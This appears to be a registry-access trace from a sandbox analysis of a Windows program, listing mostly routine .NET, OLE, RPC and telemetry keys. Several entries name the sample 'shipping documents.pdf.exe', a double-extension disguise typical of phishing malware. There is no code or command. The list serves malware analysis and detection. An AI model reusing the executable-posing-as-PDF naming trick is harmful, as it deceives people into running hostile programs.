HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Drawing,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Xml__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Xml,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Configuration__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Configuration,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Deployment__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Deployment,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Runtime.Serialization.Formatters.Soap__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Runtime.Serialization.Formatters.Soap,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.Accessibility__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\Accessibility,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Security__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Security,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\Policy\APTCA
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5b57b68c\6445b1fe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\Managed\S-1-5-21-479431668-4257340731-3059248302-1002\Installer\Assemblies\C:|Users|Rebecca|AppData|Local|Temp|shipping documents.pdf.exe
HKEY_CURRENT_USER\Software\Microsoft\Installer\Assemblies\C:|Users|Rebecca|AppData|Local|Temp|shipping documents.pdf.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Assemblies\C:|Users|Rebecca|AppData|Local|Temp|shipping documents.pdf.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\Managed\S-1-5-21-479431668-4257340731-3059248302-1002\Installer\Assemblies\Global
HKEY_CURRENT_USER\Software\Microsoft\Installer\Assemblies\Global
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Installer\Assemblies\Global
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Windows Error Reporting\WMR
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Windows Error Reporting\WMR\Disable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\5b57b68c\1bb6ad
HKEY_CLASSES_ROOT\CLSID\{FAE3D380-FEA4-4623-8C75-C6B61110B681}\Instance
HKEY_CLASSES_ROOT\CLSID\{FAE3D380-FEA4-4623-8C75-C6B61110B681}\Instance\Disabled
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.8.0.Microsoft.VisualBasic__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\a4
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\a4\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\a4\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\a4\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\a4\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\a4\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\a4\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\a4\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\a4\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1c22df2f\4f99a7c9\a4\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\3e045c21\58
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\3e045c21\58\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\3e045c21\58\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\3e045c21\58\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\3e045c21\58\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\f6e8397\3e045c21\58\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\23e7306f\b5
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\23e7306f\b5\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\23e7306f\b5\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\23e7306f\b5\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\23e7306f\b5\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2b1a4e4\23e7306f\b5\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\6e527edf\63
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\6e527edf\63\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\6e527edf\63\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\6e527edf\63\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\6e527edf\63\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\24bf93f6\6e527edf\63\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\191b956f\bb
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\191b956f\bb\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\191b956f\bb\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\191b956f\bb\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\191b956f\bb\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\4f99a7c9\191b956f\bb\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\Microsoft.VisualBasic,8.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Web__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Web,2.0.0.0,,b03f5f7f11d50a3a,x86
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Management__b03f5f7f11d50a3a
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Management,2.0.0.0,,b03f5f7f11d50a3a,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Runtime.Remoting__b77a5c561934e089
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Runtime.Remoting,2.0.0.0,,b77a5c561934e089,MSIL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1d0e73eb\1cb4ac38
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\1d0e73eb\2d08b1b5
HKEY_CURRENT_USER\Software\Classes
HKEY_CURRENT_USER\Software\Classes\AppID\shipping documents.pdf.exe
HKEY_LOCAL_MACHINE\Software\Microsoft\OLE\AppCompat
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole\AppCompat\RaiseDefaultAuthnLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole\DefaultAccessPermission
HKEY_CURRENT_USER\Software\Classes\Interface\{00000134-0000-0000-C000-000000000046}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{00000134-0000-0000-C000-000000000046}\ProxyStubClsid32
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Interface\{00000134-0000-0000-C000-000000000046}\ProxyStubClsid32\(Default)
HKEY_LOCAL_MACHINE\Software\Microsoft\Rpc\Extensions
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Extensions\NdrOleExtDLL
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Rpc\Extensions\RemoteRpcDll
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\BFE
HKEY_LOCAL_MACHINE\Software\Microsoft\SQMClient\Windows\DisabledProcesses\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledProcesses\B1179E2C
HKEY_LOCAL_MACHINE\Software\Microsoft\SQMClient\Windows\DisabledSessions\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledSessions\MachineThrottling
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\DisabledSessions\GlobalSession
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\SQMClient\Windows
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\SQMClient\Windows\CEIPEnable
HKEY_LOCAL_MACHINE\Software\Microsoft\SQMClient\Windows
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\CEIPEnable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQMClient\Windows\CEIPSampledIn
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\GRE_Initialize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\GRE_Initialize\DisableMetaFiles
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\InstallRoot
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\CLRLoadLogDir
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\UseLegacyV2RuntimeActivationPolicyDefaultValue
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\OnlyUseLatestCLR
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NoClientChecks
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\SideBySide\PreferExternalManifest
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\GCStressStart
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\GCStressStartAtJit
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\DisableConfigCache
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\CacheLocation
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DownloadCacheQuotaInKB
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\EnableLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LoggingLevel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\ForceLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogFailures
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\VersioningLog
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\LogResourceBinds
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\UseLegacyIdentityFormat
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\DisableMSIPeek
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DevOverrideEnable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\LatestIndex
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index38e\NIUsageMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\index38e\ILUsageMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\74\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\74\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\74\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\74\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\74\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\74\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\74\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\74\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\181938c6\7950e2c5\74\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\780ee13f\6d\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\780ee13f\6d\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\780ee13f\6d\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\780ee13f\6d\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\7950e2c5\780ee13f\6d\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\mscorlib,2.0.0.0,,b77a5c561934e089,x86
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\Latest
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\index224
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\LegacyPolicyTimeStamp
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\66\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\66\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\66\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\66\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\66\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\66\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\66\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\66\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\61e7e666\c991064\66\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\304b33ae\65\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\304b33ae\65\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\304b33ae\65\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\304b33ae\65\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\475dce40\304b33ae\65\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\46ad1249\6f\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\46ad1249\6f\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\46ad1249\6f\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\46ad1249\6f\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\19ab8d57\46ad1249\6f\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\553abeb3\54\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\553abeb3\54\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\553abeb3\54\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\553abeb3\54\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\2dd6ac50\553abeb3\54\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\324708cb\6e\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\324708cb\6e\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\324708cb\6e\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\324708cb\6e\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\424bd4d8\324708cb\6e\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\4bf62c79\57\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\4bf62c79\57\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\4bf62c79\57\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\4bf62c79\57\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\41c04c7e\4bf62c79\57\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\3dc46903\53\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\3dc46903\53\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\3dc46903\53\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\3dc46903\53\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3ced59c5\3dc46903\53\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\5086dba8\61\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\5086dba8\61\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\5086dba8\61\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\5086dba8\61\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\c991064\5086dba8\61\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\78\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\78\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\78\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\78\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\78\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\78\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\78\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\78\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\30bc7c4f\3f50fe4f\78\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\257bdb20\70\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\257bdb20\70\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\257bdb20\70\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\257bdb20\70\SIG
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\3f50fe4f\257bdb20\70\LastModTime
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\6f\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\6f\ConfigMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\6f\ConfigString
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\6f\MVID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\6f\EvalationData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\6f\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\6f\ILDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\6f\NIDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\3cca06a0\6dc7d4c0\6f\MissingDependencies
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\12d2be49\5c\DisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\12d2be49\5c\Status
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\12d2be49\5c\Modules
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\6dc7d4c0\12d2be49\5c\SIG
